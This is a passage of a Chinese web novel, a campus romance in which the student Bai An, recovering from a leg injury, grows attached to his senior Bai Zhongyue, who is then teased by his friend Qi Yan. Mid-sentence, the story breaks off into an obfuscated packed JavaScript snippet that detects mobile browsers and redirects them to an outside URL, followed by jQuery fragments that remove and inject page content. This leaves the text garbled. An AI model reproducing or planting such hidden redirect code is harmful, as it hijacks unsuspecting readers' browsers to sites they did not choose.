元睦和让柏安的样子逗得乐出来:“那你再睡会儿,和智商集合好商量商量一起醒。”
“再睡估计就白痴了。”
“我下去买饭,你吃什么?”
“你不去找女朋友画画吗?”
“去也要吃了饭再走,不然你先想着吃什么,我到餐厅之前发给我就行,后边几顿我找人给你带。”
元睦和的女朋友学校离A大很远,几乎是在市两头,地铁不直达,去要将近三个小时,平时周六这个点元睦和已经在地铁上了,今天是为了等柏安和女朋友说晚到。
考虑柏安是伤员,元睦和本来打算最晚等到八点,不起就叫起来,结果柏安自己醒了。
“你别再折腾来回跑了,橱子里还有泡面,饿不着我。”
“你骨折了吃泡面?”
“没折呢,”柏安手机震了下,他低头看一眼消息接着就笑开了,“不吃泡面,别人给我送,放心,你赶紧去坐地铁吧。”
“那我就不上来了,”元睦和走回桌前把收拾好的包背上,“谁给你送,白仲钺吗?”
柏安笑着点头:“嗯。”
“你们关系还真挺好,走了,袁韬不知道今天晚上回不回,你注意安全。”
“好的,谢谢啊。”
“客气什么。”
宿舍门被关上,柏安又点亮屏幕,忍不住就开始笑。
白仲钺:【把拐杖给你拿过去,顺便】
柏安:【好的,麻烦学长了】
白仲钺:【直接答应就不麻烦】
柏安脸都要酸了,强忍住回了一个表情包:【敬礼收到.GIF】
-
那个横抱,柏安居然时隔整整一晚才开始回味。
柏安其实胆子很小,他们村里一茬一茬的孩子长起来,没几个人不挨家长打的,很多女孩子都被打过几次,更别说男孩子,几乎都是被从小打到大。
除了柏安。
他一次都没被打过,除了因为奶奶和爸妈格外疼他,还因为他怂,怕疼。
小时候也调皮过,但基本上家长脸色一变他就老实了,找家伙的动作还没进行他就巴巴认错了。
昨天白仲钺抱他的时候他人基本是懵的,吓懵了。再之后事情一件接一件,柏安挨着白仲钺心跳就没缓下来过,一直到睡觉都是飘飘忽忽的。
现在他才细细回想,回想起忽然悬空的失重感,也回想起膝弯后背的力道,还有晃动的节奏和对方腹部肌肉的硬度。
柏安小的时候,爸爸还在的时候,每次柏安害怕了、疼了、哭了,爸爸总喜欢把他抱起来,胳膊箍住他的大腿,手掌按在他后背,有时候抱着他拍一拍,有时候抱着他来回走。
爸爸说:“抱是疼人,疼一个人,就把他抱在怀里,让他被环起来,让他能依靠。”
爸爸还说:“等安安长大以后会遇见一个不一样的人,想保护她,想一直抱她,想把所有好吃好用的都给她,抱着她就觉得心里安稳。”
柏安当时心里想,如果长大了会遇见一个不一样的人,那他希望可以遇见一个保护自己、想一直抱自己的人。只是这话听起来太不男子汉,柏安不好意思说。
十三岁那年柏安爸爸去世,柏安迅速长大,他收起所有的软弱去抱自己的奶奶和妈妈,拼命学习,一年又一年,他成了街坊乡亲嘴里“别人家的懂事孩子”,成了家里的男子汉,成了可以被依靠的人。
他都已经习惯了,可忽然间,他又变成了被抱着、被保护的人。
眼泪砸在手上柏安才回神,他两手捂住脸,指腹揉了揉眼睛。
“爸,你会高兴吗?我好像遇见那个不一样的人了。”
-
“喂,爸爸。”
祁延听见是白仲钺爸爸的电话生生把“医院为什么不卖拐杖”的话茬刹住,拿过白仲钺手里的拐杖来架在腋下拄着走。
“不用转,我有钱啊。妈妈说的?”
白业成喝了口茶:“对啊,我说你钱不可能不够花,你妈妈硬说你……哎刚刚你不打让我打,这会儿又抢我手机……”
“小钺,”阮敏把手机拿过来,嗔了白业成一眼,点开免提,“我才看见你昨天转发打折的广告,怎么那么便宜还要费力气吃打折的?”
白仲钺笑了:“妈妈,那是同学间闹着玩的。”
“就是,”白业成在那边附和,“他卡里能少了钱吗,都多大人了,不用总担心。”
“那就好,下周末回来吗?你姑姑那边新一批的草莓熟了要运过来,说比去年培
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486481|202037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
育的还甜。”
“我这个月不回家了,你和爸爸吃吧,我等下批。”
白仲钺家就在A市,平时基本每个月回家一次,有时候假期有时候周末,不过偶尔不回去家里也不会追着问,从小到大,他们给了白仲钺界限内最大的支持和自由。
阮敏果然没问什么:“那下次你回家提前打电话,我让你姑姑那边再送新的。”
“好。嗯,放心吧妈妈。拜拜。”
“我就说你不用担心吧,”白业成给老婆续上茶,“你不如想想中午想吃什么下午想买什么。”
“我担心儿子不是正常的吗?你记不记得之前他高一的时候买限量版摩托车那次,不声不响的,又研究投资又扣自己的生活费,车都停在车库了你才知道。我是担心他又想买什么东西不说,自己省吃俭用,咱们家又不需要。”
白业成一边听一边点头,把茶杯端起来递到她嘴边:“喝点茶喝点茶。”
阮敏就着白业成的手喝了一口:“你昨天不是还说,要找你合作的郑总嫌自己儿子败家吗?而且一边说败家一边说自己家底厚经得起败,他们公司都能说经儿子败,咱们儿子想买东西每次都不张口要,你不该反省一下吗?”
“好好好,我反省,都怪咱们儿子太争气,又省心又出息,那是别人儿子能比的吗?”白业成把茶杯放回去,把手搭在阮敏肩上捏了捏,“上次那条裙子你说垂感不好,要不然下午我们去看看新的?我给你现场参考。”
白业成把阮敏哄得眉开眼笑,终于不挨念叨了。
可另一边的白仲钺还在“水深火热”里:“哥,你是我祁哥行吗,大周末的你不去约会围着我念经,是不是有病?”
“我在校医院那会儿就说校花这周末有事了,你果然是心思都在小学弟那儿,又是送医院又是借拐杖又是爱心早餐的,还不让问?”
白仲钺头疼:“你这么闲干脆帮我把拐杖早饭送过去,我口头给你颁个助人奖。”
“去你的,”祁延一把把拐杖塞给白仲钺,再往前就是岔路了,祁延准备去图书馆,终于没再说废话,正经问,“我说,你是不是看上那小学弟了?”
不得不说,环境真的改变人。如果是在几年前的中学时期,有人问白仲钺是不是喜欢男的,祁延肯定得怼人全家,同性恋gay什么的那就是骂人,和咒爸妈祖宗没差。大学之后知道得多了见得多了,学校里不少同性恋人,还认识了张皓程和韩一,祁延问出口才发现自己对同性恋和异性恋的观感差距竟然已经这么小了。
文化对人的影响是潜移默化的,祁延在心里感慨,脑子里残存的思政渣渣诚不欺我。
祁延正经问,白仲钺认真回:“应该没。”
可惜祁延对白仲钺这份认真完全不领情:“什么叫应该,你自己喜不喜欢没数,喜欢男的女的还没数么?”
白仲钺还真就没数。
再不赶紧走饭都要凉了,白仲钺看着祁延这问不出来不罢休样子转口说:“我万一真喜欢男的多影响咱们感情。”
“啧,我是大清朝穿越的吗?”
“不是,你想,”白仲钺一本正经似的看着他,“我看了你那么多年裸的都没发现自己喜欢男的,刚认识别人没两天就发现自己喜欢男的了,那不会显得你很失败?”
“这什么跟……白仲钺你大爷!”